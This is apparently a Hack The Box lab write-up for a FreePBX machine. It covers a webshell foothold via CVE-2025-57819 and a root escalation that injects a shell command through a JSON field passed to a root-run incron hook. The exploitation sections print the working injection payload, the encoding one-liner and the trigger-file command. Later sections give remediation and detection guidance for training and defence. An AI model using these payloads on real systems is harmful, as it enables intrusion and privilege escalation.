back to writeups

Connected

Hack The Box · app.hackthebox.com/machines/Connected · Season 11
Machine rank #8168 Linux Easy Season 11 FreePBX · CVE-2025-57819 incron hook abuse User Root ● Completed
TL;DR A FreePBX box where version disclosure on the admin page maps straight to a public CVE. CVE-2025-57819 plants a PHP webshell and gives a shell as asterisk. Root comes from an automation chain rather than a memory-corruption bug: a root incrond watches a directory the asterisk user can write to, and invokes sysadmin_manager, which validates a signed FreePBX hook and then passes attacker-controlled JSON into an exec() call as root. Signed code, unsigned input.
Target
connected.htb
Host OS
CentOS · Apache 2.4.6 · PHP 7.4.16
Application
FreePBX 16.0.40.7
Foothold
CVE-2025-57819 → PHP webshell → reverse shell as asterisk
Privesc
Writable incron trigger dir → firewall.updateipset hook → root

01Enumeration

echo "<target> connected.htb" | sudo tee -a /etc/hosts
nmap -sC -sV -p- <target>
PortServiceNotes
22sshOpenSSH
80httpApache 2.4.6 (CentOS), OpenSSL 1.0.2k-fips, PHP 7.4.16
443httpssame stack

The FreePBX administration page at /admin/config.php leaks its exact version in static asset URLs and in the footer: FreePBX 16.0.40.7. That single string is the whole reconnaissance phase — it maps directly to a known, exploited CVE.

02Foothold — CVE-2025-57819

The public watchTowr proof of concept sends the exploit request and then waits for the scheduled job to materialise a PHP webshell in the webroot:

[+] FreePBX CVE-2025-57819 Detection Artifact Generator started
[+] Sending exploit request
[+] Waiting 2 minutes for DAG script to be created
[+] VULNERABLE - webshell found: http://connected.htb/<artifact>.php?cmd=hostname

The webshell then serves a reverse shell, landing as the PBX service account:

uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)
user.txt<redacted>

03Finding the privesc — automation, not exploits

The interesting local surface here is not SUID binaries — it is incron, the inotify-driven cousin of cron. A root-run incrond watches a directory and executes a command when a file closes:

/usr/local/asterisk/incron   IN_CLOSE_WRITE   /usr/bin/sysadmin_manager --local $#

$# is the filename that triggered the event. sysadmin_manager validates that the requested FreePBX module hook is signed, then executes that hook as root. The signing check is real and it passes — because the hook itself is legitimate vendor code. The problem is what the hook does with its parameter.

The firewall module's updateipset hook accepts a gzip + base64 encoded JSON blob and interpolates the ipset value straight into a shell command:

// hook: /var/www/html/admin/modules/firewall/hooks/updateipset
exec("ipset flush $ipset");     // $ipset comes from attacker-supplied JSON

So the payload is simply a JSON object with a command substitution in the ipset field:

{"action":"flush","ipset":"x; id > /var/www/html/rootcheck.txt"}

04Root

Encode the JSON the way the hook expects, then create a trigger file whose name carries the payload — the filename is the parameter:

PAYLOAD=$(php -r '$s=["action"=>"flush","ipset"=>"x; cat /root/root.txt > /var/www/html/root.txt"];
  echo rtrim(str_replace("/","_",base64_encode(gzcompress(json_encode($s)))),"=");')

echo x > "/usr/local/asterisk/incron/firewall.updateipset.$PAYLOAD"
sleep 5
cat /var/www/html/root.txt

Proving root execution first with a plain id before going for the flag:

uid=0(root) gid=0(root) groups=0(root)
root.txt<redacted>

05What failed, and why it is worth recording

06If this were your environment

Finding 1 · Critical

Unpatched FreePBX with version disclosure (CVE-2025-57819)

An internet-facing administration interface advertised its exact version and was vulnerable to a publicly exploited CVE that yields webshell and code execution as the service user.

How I would fix it
NIST 800-53 r5: SI-2 flaw remediation · RA-5 vulnerability monitoring & scanning · SC-7 boundary protection · CM-6 configuration settings
CIS Controls v8: 7.x continuous vulnerability management · 12.x network infrastructure management
Finding 2 · Critical

Service user can write to a directory watched by root automation

asterisk could create files in /usr/local/asterisk/incron, which a root incrond rule turned into a privileged command dispatch — with the filename itself as the parameter.

How I would fix it
NIST 800-53 r5: AC-6 least privilege · AC-3 access enforcement · CM-5 access restrictions for change · AU-6 audit review
CWE: CWE-732 incorrect permission assignment for critical resource
Finding 3 · Critical

Signed hook interpolates attacker-controlled input into a shell

The signature check on the hook worked exactly as designed and provided no protection, because the code was trusted while its input was not validated. exec("ipset flush $ipset") with attacker JSON is command injection regardless of who signed the file.

How I would fix it
NIST 800-53 r5: SI-10 input validation · SI-7 software & information integrity · AC-6 least privilege
CWE: CWE-78 OS command injection

07Detection — the blue-team side

08Takeaways

◆If this were my environment

The important boundary was an event-driven root workflow that accepted attacker-influenced files. I would redesign that hook as a small, authenticated job queue and remove shell interpretation from the path.

Priority controls
  • Patch and isolate FreePBX, limit its administrative interface to a management network and apply least privilege to its database and service accounts.
  • Replace incron shell hooks with a fixed worker that validates ownership, type and content before processing a file.
  • Require signed job manifests with replay protection; keep verification keys inaccessible to the submitting account.
  • Run maintenance actions under dedicated identities and expose only the exact privileged operation through a brokered interface.

Hardening guides and benchmarks

These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.

Operational note CIS and DISA profiles can affect compatibility. Apply them through version-controlled policy, start in audit mode where supported, test business workloads and record every exception with an owner and review date.

back to writeups